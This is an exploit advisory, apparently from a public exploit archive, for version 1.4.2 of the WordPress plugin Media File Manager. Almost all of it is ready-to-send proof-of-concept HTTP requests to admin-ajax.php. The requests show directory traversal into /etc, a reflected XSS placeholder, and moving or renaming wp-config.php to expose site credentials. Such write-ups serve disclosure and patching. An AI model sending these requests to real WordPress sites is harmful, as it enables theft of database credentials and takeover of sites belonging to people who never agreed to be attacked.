WordPress Plugin Media File Manager 1.4.2 - Directory Traversal / Cross-Site Scripting

# Exploit Title: Wordpress Plugin Media File Manager 1.4.2 - Directory Traversal
# Date: 2018-05-11
# Exploit Author: Pasquale Turi (aka boombyte)
# Vendor Homepage: https://wordpress.org/plugins/media-file-manager/
# Software Link: https://wordpress.org/plugins/media-file-manager/
# Version: 1.4.2
# CVE: N/A
# Tested on: Ubuntu 18.10

# Plugin description:
# This plugin can be used for manage the uploaded file (we can rename files, see a preview, 
# delete and move them to other folders under wordpress upload 	folder).
# This plugin can be used by administrator, author, contributor and subscriber.

# POC
# Diretory trasversal:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: REDATED
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 53
Connection: close
Cookie:	REDACTED

action=mrelocator_getdir&dir=../../../../../../../etc

# POC
# XSS Reflected

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 68
Connection: close
Cookie: REDACTED

action=mrelocator_getdir&dir=[XSS]

# POC
# Move any file to any dir:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 75
Connection: close
Cookie: REDACTED

action=mrelocator_move&dir_from=../../&dir_to=../../../&items=wp-config.php

# POC
# Rename any file:

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/wordpress/wp-admin/upload.php?page=mrelocator-submenu-handle
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 97
Connection: close
Cookie:	REDACTED

action=mrelocator_rename&dir=../../&from=wp-config.php&to=wp-config.txt